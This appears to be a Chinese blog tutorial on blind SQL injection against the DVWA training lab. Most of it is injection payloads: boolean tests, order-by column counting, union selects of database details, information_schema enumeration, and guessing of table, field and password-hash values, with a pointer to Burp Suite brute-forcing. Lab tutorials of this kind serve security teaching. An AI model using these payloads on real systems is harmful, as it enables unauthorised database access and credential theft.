Kali Linux Web渗透:DVWA SQL注入漏洞“盲注”(41)

前面的文章都是基于目标会返回错误信息的情况进行判断是否存在SQL注入?我们可以轻易根据数据库报错信息来猜测SQL语句和注入方式,如果程序员做得比较好,不显示错误信息,这种情况下的SQL注入称为SQL盲注。

DVWA SQL注入漏洞 盲注

 

猜测是否存在SQL注入:

1' and 1=1 -- 

如果正确返回ID为1的信息,那么可以猜测存在SQL注入漏洞

 

再输入:

1' and 1=2 -- 

如果什么都不返回,到这里就可以确定存在SQL注入了

 

猜测查询的字段数:

1' order by 5 -- 

发现什么都没有返回,说明该查询的字段少于5个字段

然后每次减小1,直到2的时候,发现返回了信息,说明该SQL语句查询的有两个字段

 

到这里就可以发现盲注和一般SQL注入的区别:

单引号前面至少有一个正确的ID,因为只有查询到了信息,才会有显示

 

进一步,使用联合查询:

1' union select user(),database() -- 

DVWA SQL注入漏洞 盲注

 

查询数据库信息:

1' union select null,CONCAT_WS(CHAR(32,58,32),user(),database(),version()) -- 

DVWA SQL注入漏洞 盲注

 

查询数据库里面所有表的信息:

1' and 1=0 union select null,table_name from information_schema.tables#

DVWA SQL注入漏洞 盲注

 

查询当前表:

1' and 1=0 union select null,table_name from information_schema.columns where table_name='users' #

DVWA SQL注入漏洞 盲注

 

无法使用union,order by语句,或者无法查找infomation_schema数据库时:

和一般SQL注入的猜测方法一致

猜字段名:

1' and [猜测字段名] is not null -- 

如果正常返回,说明该字段存在

 

猜当前表名:

1' and [猜测表名].[已猜测到的字段名] is not null -- 

如果正常返回,说明猜测正确

 

猜当前库里面其他的表名:

1' and (select count(*) from [猜测表名])>0 -- 

如果正常返回,说明该表存在

 

表和字段对应关系:

1' and [猜测表].[猜测字段] is not null -- 

如果正常返回,说明该对应关系存在

 

猜字段内容:

1' and user='admin

正确返回,说明该表存在user=admin的信息

 

1' or user like '%a%

正确返回,结果就是user字段所有内容包含字符a的信息

 

2' or user='admin' and password='5f4dcc3b5aa765d61d8327deb882cf99

注意:这里的开头的id不能写死,要尝试多个

比如ID=1的user就是admin,那么后半句无论真假,都会返回admin的信息

如果ID=1的user不是admin,如果显示多条信息,那么猜测正确

 

之前都有提过,这里的猜测可以结合Burpsuite爆破

头像
  • ¥ 298.0元
  • 市场价:498.0元
  • ¥ 999.0元
  • 市场价:1599.0元
  • ¥ 1980.0元
  • 市场价:2980.0元
  • ¥ 89.0元
  • 市场价:129.0元

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: